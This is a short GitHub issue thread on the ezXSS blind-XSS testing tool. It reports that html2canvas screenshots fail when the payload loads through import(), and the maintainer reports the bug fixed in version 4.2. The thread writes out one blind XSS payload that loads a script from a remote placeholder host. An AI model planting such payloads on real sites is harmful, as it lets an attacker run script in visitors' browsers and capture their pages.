ssl/ezXSS

Screenshots don't work while using import() function

bugraesk opened this issue · 3 comments

bugraesk commented

Hi,

While using import() function to load blind XSS script like <img src=x onerror=import('//xss.domain')>, the html2canvas script doesn't load and we can't get the screenshot. I wonder if the import() blocks that or the script has some issues? import() is very useful due to its shortness, it would be much more useful with screenshots.

Thanks!

ssl commented

I will look into this. I did not create html2canvas and it might be an issue with this library.

bugraesk commented

Thanks. When I try it standalone, it works: https://codepen.io/bugraesk/pen/zYbWRvj

ssl commented

This is now fixed in ezXSS 4.2 in this commit: e7f4c88

  • 🎉1
  • ❤️1